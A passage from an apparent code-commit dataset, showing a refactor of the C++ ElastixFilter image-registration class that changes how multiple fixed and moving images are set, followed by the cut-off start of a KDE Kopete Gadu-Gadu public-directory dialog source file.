this->AddRequiredInputName( \"MovingImage\" );\n this->AddRequiredInputName( \"ParameterObject\");\n\n this->SetPrimaryInputName( \"FixedImage\" );\n this->SetPrimaryOutputName( \"ResultImage\" );\n\n this->m_FixedImageContainer = DataObjectContainerType::New();\n this->m_MovingImageContainer = DataObjectContainerType::New();\n\n this->m_FixedMeshFileName = std::string();\n this->m_MovingMeshFileName = std::string();\n\n this->m_OutputDirectory = std::string();\n this->m_LogFileName = std::string();\n\n this->LogToConsoleOff();\n this->LogToFileOff();\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::GenerateData( void )\n{\n \/\/ Initialize variables here so they don't go out of scope between iterations of the main loop\n ElastixMainObjectPointer transform = 0;\n DataObjectContainerPointer fixedImageContainer = DataObjectContainerType::New();\n DataObjectContainerPointer movingImageContainer = DataObjectContainerType::New();\n DataObjectContainerPointer fixedMaskContainer = 0;\n DataObjectContainerPointer movingMaskContainer = 0;\n DataObjectContainerPointer resultImageContainer = 0;\n ParameterMapListType TransformParameterMapList;\n FlatDirectionCosinesType fixedImageOriginalDirection;\n\n \/\/ Split input images into two seperate fixed and moving image containers\n InputNameArrayType inputNames = this->GetInputNames();\n for( unsigned int i = 0; i < inputNames.size(); ++i )\n {\n if( this->IsFixedImage( inputNames[ i ] ) )\n {\n fixedImageContainer->push_back( this->GetInput( inputNames[ i ] ) );\n }\n\n if( this->IsMovingImage( inputNames[ i ] ) )\n {\n movingImageContainer->push_back( this->GetInput( inputNames[ i ] ) );\n }\n }\n\n \/\/ Fixed mask (optional)\n if( this->HasInput( \"FixedMask\" ) )\n {\n fixedMaskContainer = DataObjectContainerType::New(); \n fixedMaskContainer->CreateElementAt( 0 ) = this->GetInput( \"FixedMask\" );\n }\n\n \/\/ Moving mask (optional)\n if( this->HasInput( \"MovingMask\" ) )\n {\n movingMaskContainer = DataObjectContainerType::New();\n movingMaskContainer->CreateElementAt( 0 ) = this->GetInput( \"MovingMask\" );\n }\n\n ArgumentMapType argumentMap;\n if( this->GetOutputDirectory().empty() ) {\n \/\/ There must be an \"-out\", this is checked later in the code\n argumentMap.insert( ArgumentMapEntryType( \"-out\", \"output_path_not_set\" ) );\n }\n else\n {\n argumentMap.insert( ArgumentMapEntryType( \"-out\", this->GetOutputDirectory() ) );\n }\n\n \/\/ Fixed mesh (optional)\n if( !this->m_FixedMeshFileName.empty() )\n {\n argumentMap.insert( ArgumentMapEntryType( \"-fp\", std::string( this->m_FixedMeshFileName ) ) );\n }\n\n \/\/ Moving mesh (optional)\n if( !this->m_MovingMeshFileName.empty() )\n {\n argumentMap.insert( ArgumentMapEntryType( \"-mp\", std::string( this->m_MovingMeshFileName ) ) );\n }\n\n \/\/ Setup xout\n std::string logFileName;\n if( this->GetLogToFile() )\n {\n if( this->GetOutputDirectory().empty() )\n {\n itkExceptionMacro( \"LogToFileOn() requires an output directory to be specified. Use SetOutputDirectory().\")\n }\n\n if( !itksys::SystemTools::FileExists( this->GetOutputDirectory() ) )\n {\n itkExceptionMacro( \"Output directory \\\"\" << this->GetOutputDirectory() << \"\\\" does not exist.\" )\n }\n\n if( this->GetOutputDirectory().back() != '\/' || this->GetOutputDirectory().back() != '\\\\' )\n {\n this->SetOutputDirectory( this->GetOutputDirectory() + \"\/\" );\n }\n\n if( this->GetLogFileName().empty() )\n {\n logFileName = this->GetOutputDirectory() + \"transformix.log\";\n }\n else\n {\n logFileName = this->GetOutputDirectory() + this->GetLogFileName();\n }\n }\n\n if( elx::xoutSetup( logFileName.c_str(), this->GetLogToFile(), this->GetLogToConsole() ) )\n {\n itkExceptionMacro( \"ERROR while setting up xout\" );\n }\n\n \/\/ Get ParameterMap\n ParameterObjectConstPointer parameterObject = static_cast< const ParameterObject* >( this->GetInput( \"ParameterObject\" ) );\n ParameterMapListType parameterMapList = parameterObject->GetParameterMapList();\n\n \/\/ Run the (possibly multiple) registration(s)\n for( unsigned int i = 0; i < parameterMapList.size(); ++i )\n {\n \/\/ Create another instance of ElastixMain \n ElastixMainPointer elastix = ElastixMainType::New();\n\n \/\/ Set the current elastix-level\n elastix->SetElastixLevel( i );\n elastix->SetTotalNumberOfElastixLevels( parameterMapList.size() );\n\n \/\/ Set stuff we get from a previous registration \n elastix->SetInitialTransform( transform );\n elastix->SetFixedImageContainer( fixedImageContainer );\n elastix->SetMovingImageContainer( movingImageContainer );\n elastix->SetFixedMaskContainer( fixedMaskContainer );\n elastix->SetMovingMaskContainer( movingMaskContainer );\n elastix->SetResultImageContainer( resultImageContainer );\n elastix->SetOriginalFixedImageDirectionFlat( fixedImageOriginalDirection );\n\n \/\/ Start registration\n unsigned int isError = 0;\n try\n {\n unsigned int isError = elastix->Run( argumentMap, parameterMapList[ i ] );\n }\n catch( itk::ExceptionObject &e )\n {\n itkExceptionMacro( << \"Errors occurred during registration: \" << e.what() );\n }\n\n if( isError == -2 )\n {\n itkExceptionMacro( << \"Errors occurred during registration: Output directory does not exist.\" );\n }\n\n if( isError != 0 )\n {\n itkExceptionMacro( << \"Uncought errors occurred during registration.\" );\n }\n\n \/\/ Get the transform, the fixedImage and the movingImage\n \/\/ in order to put it in the next registration\n transform = elastix->GetFinalTransform();\n fixedImageContainer = elastix->GetFixedImageContainer();\n movingImageContainer = elastix->GetMovingImageContainer();\n fixedMaskContainer = elastix->GetFixedMaskContainer();\n movingMaskContainer = elastix->GetMovingMaskContainer();\n resultImageContainer = elastix->GetResultImageContainer();\n fixedImageOriginalDirection = elastix->GetOriginalFixedImageDirectionFlat();\n\n TransformParameterMapList.push_back( elastix->GetTransformParametersMap() );\n\n \/\/ Set initial transform to an index number instead of a parameter filename\n if( i > 0 )\n {\n std::stringstream index;\n index << ( i - 1 );\n TransformParameterMapList[ i ][ \"InitialTransformParametersFileName\" ][ 0 ] = index.str();\n }\n } \/\/ End loop over registrations\n\n \/\/ Save result image\n if( resultImageContainer.IsNotNull() && resultImageContainer->Size() > 0 )\n {\n this->SetPrimaryOutput( resultImageContainer->ElementAt( 0 ) );\n }\n\n \/\/ Save parameter map\n ParameterObject::Pointer TransformParameters = ParameterObject::New();\n TransformParameters->SetParameterMapList( TransformParameterMapList );\n this->SetOutput( \"TransformParameterObject\", static_cast< itk::DataObject* >( TransformParameters ) );\n\n \/\/ Close the modules\n ElastixMainType::UnloadComponents();\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetParameterObject( ParameterObjectPointer parameterObject )\n{\n this->SetInput( \"ParameterObject\", static_cast< itk::DataObject* >( parameterObject ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\ntypename selx::ElastixFilter< TFixedImage, TMovingImage >::ParameterObjectPointer\nElastixFilter< TFixedImage, TMovingImage >\n::GetTransformParameters( void )\n{\n \/\/ Make sure the transform parameters are up to date\n this->Update();\n\n return static_cast< ParameterObject* >( itk::ProcessObject::GetOutput( \"TransformParameterObject\" ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetFixedImage( FixedImagePointer fixedImage )\n{\n \/\/ Free references to fixed images that has already been set\n this->RemoveFixedImages();\n\n this->SetInput( \"FixedImage\", static_cast< itk::DataObject* >( fixedImage ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetFixedImage( DataObjectContainerPointer fixedImages )\n{\n if( fixedImages->Size() == 0 )\n {\n itkExceptionMacro( \"Cannot set fixed images from empty container.\")\n }\n\n \/\/ Free references to fixed images that has already been set\n this->RemoveFixedImages();\n\n \/\/ \"FixedImage\" is a required input that needs to be set\n this->SetInput( \"FixedImage\" , fixedImages->ElementAt( 0 ) );\n\n \/\/ The rest of the images will be appended to the input container\n \/\/ suffixed with _1, _2, etc. This allows us to read out only the\n \/\/ fixed images for elastix fixed image container at a later stage \n DataObjectContainerIterator fixedImageIterator = fixedImages->Begin();\n ++fixedImageIterator;\n \n while( fixedImageIterator != fixedImages->End() )\n {\n this->AddInputAutoIncrementName( \"FixedImage\", fixedImageIterator->Value() );\n ++fixedImageIterator;\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::AddFixedImage( FixedImagePointer fixedImage )\n{\n if( !this->HasInput( \"FixedImage\") )\n {\n this->SetInput( \"FixedImage\", static_cast< itk::DataObject* >( fixedImage ) );\n }\n else\n {\n this->AddInputAutoIncrementName( \"FixedImage\", static_cast< itk::DataObject* >( fixedImage ) );\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetMovingImage( MovingImagePointer movingImage )\n{\n \/\/ Free references to moving images that has already been set\n this->RemoveMovingImages();\n\n this->SetInput( \"MovingImage\", static_cast< itk::DataObject* >( movingImage ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetMovingImage( DataObjectContainerPointer movingImages )\n{\n if( movingImages->Size() == 0 )\n {\n itkExceptionMacro( \"Cannot set moving images from empty container.\")\n }\n\n \/\/ Free references to fixed images that has already been set\n this->RemoveMovingImages();\n\n \/\/ \"MovingImage\" is a required input that needs to be set\n this->SetInput( \"MovingImage\" , movingImages->ElementAt( 0 ) );\n\n \/\/ The rest of the images will be appended to the input container\n \/\/ suffixed with _1, _2, etc. This allows us to read out only the\n \/\/ moving images for elastix moving image container at a later stage \n DataObjectContainerIterator movingImageIterator = movingImages->Begin();\n ++movingImageIterator;\n \n while( movingImageIterator != movingImages->End() )\n {\n this->AddInputAutoIncrementName( \"MovingImage\", static_cast< itk::DataObject* >( movingImageIterator->Value() ) );\n ++movingImageIterator;\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::AddMovingImage( MovingImagePointer movingImage )\n{\n if( !this->HasInput( \"MovingImage\") )\n {\n this->SetInput( \"MovingImage\", static_cast< itk::DataObject* >( movingImage ) );\n }\n else\n {\n this->AddInputAutoIncrementName( \"MovingImage\", static_cast< itk::DataObject* >( movingImage ) );\n }\n}\n\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetFixedMask( FixedImagePointer fixedMask )\n{\n this->SetInput( \"FixedMask\", static_cast< itk::DataObject* >( fixedMask ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetMovingMask( MovingImagePointer movingMask )\n{\n this->SetInput( \"MovingMask\", static_cast< itk::DataObject* >( movingMask ) );\n}\n\n\/*\n * Adds a named input to the first null position in the input list\n * Expands the list memory if necessary\n *\/\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::AddInputAutoIncrementName( DataObjectIdentifierType key, itk::DataObject* input )\n{\n for ( unsigned idx = 0; idx < this->GetNumberOfIndexedInputs(); ++idx )\n {\n if ( !this->GetInput( idx ) )\n {\n key += this->MakeNameFromInputIndex( idx );\n this->SetInput( key, input );\n return;\n }\n }\n\n key += this->MakeNameFromInputIndex( this->GetNumberOfIndexedInputs() );\n this->SetInput( key, input );\n return;\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nbool\nElastixFilter< TFixedImage, TMovingImage >\n::IsFixedImage( DataObjectIdentifierType key )\n{\n return std::strncmp( \"FixedImage\", key.c_str(), 10 ) == 0;\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nbool\nElastixFilter< TFixedImage, TMovingImage >\n::IsMovingImage( DataObjectIdentifierType key )\n{\n return std::strncmp( \"MovingImage\", key.c_str(), 11 ) == 0;\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::RemoveFixedImages( void )\n{\n \/\/ Free references to fixed images that has already been set\n InputNameArrayType inputNames = this->GetInputNames();\n for( unsigned int i = 0; i < inputNames.size(); ++i )\n {\n if ( this->IsFixedImage( inputNames[ i ] ) )\n {\n this->RemoveInput( inputNames[ i ] );\n }\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::RemoveMovingImages( void )\n{\n \/\/ Free references to fixed images that has already been set\n InputNameArrayType inputNames = this->GetInputNames();\n for( unsigned int i = 0; i < inputNames.size(); ++i )\n {\n if ( this->IsMovingImage( inputNames[ i ] ) )\n {\n this->RemoveInput( inputNames[ i ] );\n }\n }\n}\n\n} \/\/ namespace selx\n\n#endif \/\/ ElastixFilter_hxx<commit_msg>ENH: Refactor setting multiple fixed and moving images<commit_after>#ifndef ElastixFilter_hxx\n#define ElastixFilter_hxx\n\nnamespace selx {\n\ntemplate< typename TFixedImage, typename TMovingImage >\nElastixFilter< TFixedImage, TMovingImage >\n::ElastixFilter( void )\n{\n this->AddRequiredInputName( \"FixedImage\" );\n this->AddRequiredInputName( \"MovingImage\" );\n this->AddRequiredInputName( \"ParameterObject\");\n\n this->SetPrimaryInputName( \"FixedImage\" );\n this->SetPrimaryOutputName( \"ResultImage\" );\n\n this->m_FixedImageContainer = DataObjectContainerType::New();\n this->m_MovingImageContainer = DataObjectContainerType::New();\n\n this->m_FixedMeshFileName = std::string();\n this->m_MovingMeshFileName = std::string();\n\n this->m_OutputDirectory = std::string();\n this->m_LogFileName = std::string();\n\n this->LogToConsoleOff();\n this->LogToFileOff();\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::GenerateData( void )\n{\n \/\/ Initialize variables here so they don't go out of scope between iterations of the main loop\n ElastixMainObjectPointer transform = 0;\n DataObjectContainerPointer fixedImageContainer = DataObjectContainerType::New();\n DataObjectContainerPointer movingImageContainer = DataObjectContainerType::New();\n DataObjectContainerPointer fixedMaskContainer = 0;\n DataObjectContainerPointer movingMaskContainer = 0;\n DataObjectContainerPointer resultImageContainer = 0;\n ParameterMapListType TransformParameterMapList;\n FlatDirectionCosinesType fixedImageOriginalDirection;\n\n \/\/ Split input images into two seperate fixed and moving image containers\n InputNameArrayType inputNames = this->GetInputNames();\n for( unsigned int i = 0; i < inputNames.size(); ++i )\n {\n if( this->IsFixedImage( inputNames[ i ] ) )\n {\n fixedImageContainer->push_back( this->GetInput( inputNames[ i ] ) );\n }\n\n if( this->IsMovingImage( inputNames[ i ] ) )\n {\n movingImageContainer->push_back( this->GetInput( inputNames[ i ] ) );\n }\n }\n\n \/\/ Fixed mask (optional)\n if( this->HasInput( \"FixedMask\" ) )\n {\n fixedMaskContainer = DataObjectContainerType::New(); \n fixedMaskContainer->CreateElementAt( 0 ) = this->GetInput( \"FixedMask\" );\n }\n\n \/\/ Moving mask (optional)\n if( this->HasInput( \"MovingMask\" ) )\n {\n movingMaskContainer = DataObjectContainerType::New();\n movingMaskContainer->CreateElementAt( 0 ) = this->GetInput( \"MovingMask\" );\n }\n\n ArgumentMapType argumentMap;\n if( this->GetOutputDirectory().empty() ) {\n \/\/ There must be an \"-out\", this is checked later in the code\n argumentMap.insert( ArgumentMapEntryType( \"-out\", \"output_path_not_set\" ) );\n }\n else\n {\n argumentMap.insert( ArgumentMapEntryType( \"-out\", this->GetOutputDirectory() ) );\n }\n\n \/\/ Fixed mesh (optional)\n if( !this->m_FixedMeshFileName.empty() )\n {\n argumentMap.insert( ArgumentMapEntryType( \"-fp\", std::string( this->m_FixedMeshFileName ) ) );\n }\n\n \/\/ Moving mesh (optional)\n if( !this->m_MovingMeshFileName.empty() )\n {\n argumentMap.insert( ArgumentMapEntryType( \"-mp\", std::string( this->m_MovingMeshFileName ) ) );\n }\n\n \/\/ Setup xout\n std::string logFileName;\n if( this->GetLogToFile() )\n {\n if( this->GetOutputDirectory().empty() )\n {\n itkExceptionMacro( \"LogToFileOn() requires an output directory to be specified. Use SetOutputDirectory().\")\n }\n\n if( !itksys::SystemTools::FileExists( this->GetOutputDirectory() ) )\n {\n itkExceptionMacro( \"Output directory \\\"\" << this->GetOutputDirectory() << \"\\\" does not exist.\" )\n }\n\n if( this->GetOutputDirectory().back() != '\/' || this->GetOutputDirectory().back() != '\\\\' )\n {\n this->SetOutputDirectory( this->GetOutputDirectory() + \"\/\" );\n }\n\n if( this->GetLogFileName().empty() )\n {\n logFileName = this->GetOutputDirectory() + \"transformix.log\";\n }\n else\n {\n logFileName = this->GetOutputDirectory() + this->GetLogFileName();\n }\n }\n\n if( elx::xoutSetup( logFileName.c_str(), this->GetLogToFile(), this->GetLogToConsole() ) )\n {\n itkExceptionMacro( \"ERROR while setting up xout\" );\n }\n\n \/\/ Get ParameterMap\n ParameterObjectConstPointer parameterObject = static_cast< const ParameterObject* >( this->GetInput( \"ParameterObject\" ) );\n ParameterMapListType parameterMapList = parameterObject->GetParameterMapList();\n\n \/\/ Run the (possibly multiple) registration(s)\n for( unsigned int i = 0; i < parameterMapList.size(); ++i )\n {\n \/\/ Create another instance of ElastixMain \n ElastixMainPointer elastix = ElastixMainType::New();\n\n \/\/ Set the current elastix-level\n elastix->SetElastixLevel( i );\n elastix->SetTotalNumberOfElastixLevels( parameterMapList.size() );\n\n \/\/ Set stuff we get from a previous registration \n elastix->SetInitialTransform( transform );\n elastix->SetFixedImageContainer( fixedImageContainer );\n elastix->SetMovingImageContainer( movingImageContainer );\n elastix->SetFixedMaskContainer( fixedMaskContainer );\n elastix->SetMovingMaskContainer( movingMaskContainer );\n elastix->SetResultImageContainer( resultImageContainer );\n elastix->SetOriginalFixedImageDirectionFlat( fixedImageOriginalDirection );\n\n \/\/ Start registration\n unsigned int isError = 0;\n try\n {\n unsigned int isError = elastix->Run( argumentMap, parameterMapList[ i ] );\n }\n catch( itk::ExceptionObject &e )\n {\n itkExceptionMacro( << \"Errors occurred during registration: \" << e.what() );\n }\n\n if( isError == -2 )\n {\n itkExceptionMacro( << \"Errors occurred during registration: Output directory does not exist.\" );\n }\n\n if( isError != 0 )\n {\n itkExceptionMacro( << \"Uncought errors occurred during registration.\" );\n }\n\n \/\/ Get the transform, the fixedImage and the movingImage\n \/\/ in order to put it in the next registration\n transform = elastix->GetFinalTransform();\n fixedImageContainer = elastix->GetFixedImageContainer();\n movingImageContainer = elastix->GetMovingImageContainer();\n fixedMaskContainer = elastix->GetFixedMaskContainer();\n movingMaskContainer = elastix->GetMovingMaskContainer();\n resultImageContainer = elastix->GetResultImageContainer();\n fixedImageOriginalDirection = elastix->GetOriginalFixedImageDirectionFlat();\n\n TransformParameterMapList.push_back( elastix->GetTransformParametersMap() );\n\n \/\/ Set initial transform to an index number instead of a parameter filename\n if( i > 0 )\n {\n std::stringstream index;\n index << ( i - 1 );\n TransformParameterMapList[ i ][ \"InitialTransformParametersFileName\" ][ 0 ] = index.str();\n }\n } \/\/ End loop over registrations\n\n \/\/ Save result image\n if( resultImageContainer.IsNotNull() && resultImageContainer->Size() > 0 )\n {\n this->SetPrimaryOutput( resultImageContainer->ElementAt( 0 ) );\n }\n\n \/\/ Save parameter map\n ParameterObject::Pointer TransformParameters = ParameterObject::New();\n TransformParameters->SetParameterMapList( TransformParameterMapList );\n this->SetOutput( \"TransformParameterObject\", static_cast< itk::DataObject* >( TransformParameters ) );\n\n \/\/ Close the modules\n ElastixMainType::UnloadComponents();\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetParameterObject( ParameterObjectPointer parameterObject )\n{\n this->SetInput( \"ParameterObject\", static_cast< itk::DataObject* >( parameterObject ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\ntypename selx::ElastixFilter< TFixedImage, TMovingImage >::ParameterObjectPointer\nElastixFilter< TFixedImage, TMovingImage >\n::GetTransformParameters( void )\n{\n \/\/ Make sure the transform parameters are up to date\n this->Update();\n\n return static_cast< ParameterObject* >( itk::ProcessObject::GetOutput( \"TransformParameterObject\" ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetFixedImage( FixedImagePointer fixedImage )\n{\n \/\/ Free references to fixed images that has already been set\n this->RemoveFixedImages();\n\n this->SetInput( \"FixedImage\", static_cast< itk::DataObject* >( fixedImage ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetFixedImage( DataObjectContainerPointer fixedImages )\n{\n if( fixedImages->Size() == 0 )\n {\n itkExceptionMacro( \"Cannot set fixed images from empty container.\")\n }\n\n \/\/ Free references to fixed images that has already been set\n this->RemoveFixedImages();\n\n \/\/ The first image will be used as the \"FixedImage\" required input.\n \/\/ The rest of the images will be appended to the input container\n \/\/ suffixed with _1, _2, etc. This allows us to read out only the\n \/\/ fixed images for elastix fixed image container at a later stage\n DataObjectContainerIterator fixedImageIterator = fixedImages->Begin();\n this->SetInput( \"FixedImage\", fixedImageIterator->Value() );\n ++fixedImageIterator;\n\n while( fixedImageIterator != fixedImages->End() )\n {\n this->AddInputAutoIncrementName( \"FixedImage\", fixedImageIterator->Value() );\n ++fixedImageIterator;\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::AddFixedImage( FixedImagePointer fixedImage )\n{\n if( !this->HasInput( \"FixedImage\") )\n {\n this->SetInput( \"FixedImage\", static_cast< itk::DataObject* >( fixedImage ) );\n }\n else\n {\n this->AddInputAutoIncrementName( \"FixedImage\", static_cast< itk::DataObject* >( fixedImage ) );\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetMovingImage( MovingImagePointer movingImage )\n{\n \/\/ Free references to moving images that has already been set\n this->RemoveMovingImages();\n\n this->SetInput( \"MovingImage\", static_cast< itk::DataObject* >( movingImage ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetMovingImage( DataObjectContainerPointer movingImages )\n{\n if( movingImages->Size() == 0 )\n {\n itkExceptionMacro( \"Cannot set moving images from empty container.\")\n }\n\n \/\/ Free references to fixed images that has already been set\n this->RemoveMovingImages();\n\n \/\/ The first image will be used as the \"MovingImage\" required input.\n \/\/ The rest of the images will be appended to the input container\n \/\/ suffixed with _1, _2, etc. This allows us to read out only the\n \/\/ moving images for elastix moving image container at a later stage\n DataObjectContainerIterator movingImageIterator = movingImages->Begin();\n this->SetInput( \"MovingImage\", movingImageIterator->Value() );\n ++movingImageIterator;\n\n while( movingImageIterator != movingImages->End() )\n {\n this->AddInputAutoIncrementName( \"MovingImage\", static_cast< itk::DataObject* >( movingImageIterator->Value() ) );\n ++movingImageIterator;\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::AddMovingImage( MovingImagePointer movingImage )\n{\n if( !this->HasInput( \"MovingImage\") )\n {\n this->SetInput( \"MovingImage\", static_cast< itk::DataObject* >( movingImage ) );\n }\n else\n {\n this->AddInputAutoIncrementName( \"MovingImage\", static_cast< itk::DataObject* >( movingImage ) );\n }\n}\n\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetFixedMask( FixedImagePointer fixedMask )\n{\n this->SetInput( \"FixedMask\", static_cast< itk::DataObject* >( fixedMask ) );\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::SetMovingMask( MovingImagePointer movingMask )\n{\n this->SetInput( \"MovingMask\", static_cast< itk::DataObject* >( movingMask ) );\n}\n\n\/*\n * Adds a named input to the first null position in the input list\n * Expands the list memory if necessary\n *\/\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::AddInputAutoIncrementName( DataObjectIdentifierType key, itk::DataObject* input )\n{\n for ( unsigned idx = 0; idx < this->GetNumberOfIndexedInputs(); ++idx )\n {\n if ( !this->GetInput( idx ) )\n {\n key += this->MakeNameFromInputIndex( idx );\n this->SetInput( key, input );\n return;\n }\n }\n\n key += this->MakeNameFromInputIndex( this->GetNumberOfIndexedInputs() );\n this->SetInput( key, input );\n return;\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nbool\nElastixFilter< TFixedImage, TMovingImage >\n::IsFixedImage( DataObjectIdentifierType key )\n{\n return std::strncmp( \"FixedImage\", key.c_str(), 10 ) == 0;\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nbool\nElastixFilter< TFixedImage, TMovingImage >\n::IsMovingImage( DataObjectIdentifierType key )\n{\n return std::strncmp( \"MovingImage\", key.c_str(), 11 ) == 0;\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::RemoveFixedImages( void )\n{\n \/\/ Free references to fixed images that has already been set\n InputNameArrayType inputNames = this->GetInputNames();\n for( unsigned int i = 0; i < inputNames.size(); ++i )\n {\n if ( this->IsFixedImage( inputNames[ i ] ) )\n {\n this->RemoveInput( inputNames[ i ] );\n }\n }\n}\n\ntemplate< typename TFixedImage, typename TMovingImage >\nvoid\nElastixFilter< TFixedImage, TMovingImage >\n::RemoveMovingImages( void )\n{\n \/\/ Free references to fixed images that has already been set\n InputNameArrayType inputNames = this->GetInputNames();\n for( unsigned int i = 0; i < inputNames.size(); ++i )\n {\n if ( this->IsMovingImage( inputNames[ i ] ) )\n {\n this->RemoveInput( inputNames[ i ] );\n }\n }\n}\n\n} \/\/ namespace selx\n\n#endif \/\/ ElastixFilter_hxx<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (C) 2003\t Grzegorz Jaskiewicz <gj at pointblue.com.pl>\n\/\/\n\/\/ gadupubdir.cpp\n\/\/ Gadu-Gadu Public directory contains people data, using it you can search friends\n\/\/ different criteria\n\/\/\n\/\/ This program is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License\n\/\/ as published by the Free Software Foundation; either version 2\n\/\/ of the License, or (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n\/\/ 02111-1307, USA.\n\/\/\n\n#include \"gadupubdir.h\"\n\n#include <qpushbutton.h>\n#include <qtextedit.h>\n#include <qwidgetstack.h>\n#include <qlistview.h>\n#include <qptrlist.h>\n#include <qradiobutton.h>\n\n#include <kapplication.h>\n#include <kdatewidget.h>\n#include <klineedit.h>\n#include <klocale.h>\n#include <kurllabel.h>\n#include <klistview.h>\n\n\nGaduPublicDir::GaduPublicDir( GaduAccount* account, QWidget* parent, const char* name )\n: KDialogBase( parent, name, false, QString::null, User1|User2|User3|Cancel, User2 )\n{\n\tmAccount = account;\n\tcreateWidget();\n\tinitConnections();\n\n\tshow();\n}\n\nGaduPublicDir::GaduPublicDir( GaduAccount* account, int searchFor, QWidget* parent, const char* name )\n: KDialogBase( parent, name, false, QString::null, User1|User2|User3|Cancel, User2 )\n{\n\tmAccount = account;\n\tcreateWidget();\n\tinitConnections();\n\n\tkdDebug( 14100 ) << \"search for Uin: \" << searchFor << endl;\n\t\n\tmMainWidget->listFound->clear();\n\tshow();\n\n\tmMainWidget->pubsearch->raiseWidget( 1 );\n\tmMainWidget->radioByUin->setChecked( true );\n\n\tsetButtonText( User2, i18n( \"Search &More...\" ) );\n\tshowButton( User3, true );\n\tshowButton( User1, true );\n\tenableButton( User3, false );\n\tenableButton( User2, false );\n\n\t\/\/ now it is time to switch to Right Page(tm)\n\tfName\t= fSurname = fNick = fCity = QString::null;\n\tfUin\t\t= searchFor;\n\tfOnlyOnline= false;\n\tfGender\t= fAgeFrom = fAgeTo = 0;\n\n\tmAccount->pubDirSearch( fName, fSurname, fNick,\n\t\t\t\tfUin, fCity, fGender, fAgeFrom, fAgeTo, fOnlyOnline );\n\n}\n\nvoid \nGaduPublicDir::createWidget()\n{\n\tsetCaption( i18n( \"Gadu-Gadu Public Directory\" ) );\n\n\tmMainWidget = new GaduPublicDirectory( this );\n\tsetMainWidget( mMainWidget );\n\n\tmMainWidget->UIN->setValidChars( \"1234567890\" );\n\n\tsetButtonText( User1, i18n( \"&New Search\" ) );\n\tsetButtonText( User2, i18n( \"S&earch\" ) );\n\tsetButtonText( User3, i18n( \"&Add User...\" ) );\n\tsetButtonText( Cancel, i18n( \"&Close\" ) );\n\n\tshowButton( User1, false );\n\tshowButton( User3, false );\n\tenableButton( User2, false );\n\t\n\tmMainWidget->radioByData->setChecked( true );\n\n\tmAccount->pubDirSearchClose();\n\n}\n\nvoid \nGaduPublicDir::initConnections()\n{\n\tconnect( this, SIGNAL( user2Clicked() ), SLOT( slotSearch() ) );\n\tconnect( this, SIGNAL( user1Clicked() ), SLOT( slotNewSearch() ) );\n\n\tconnect( mAccount, SIGNAL( pubDirSearchResult( const SearchResult& ) ),\n\t\t\t\tSLOT( slotSearchResult( const SearchResult& ) ) );\n\n\tconnect( mMainWidget->nameS,\t\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) );\n\tconnect( mMainWidget->surname,\tSIGNAL( textChanged( const QString &) ), SLOT( inputChanged( const QString & ) ) 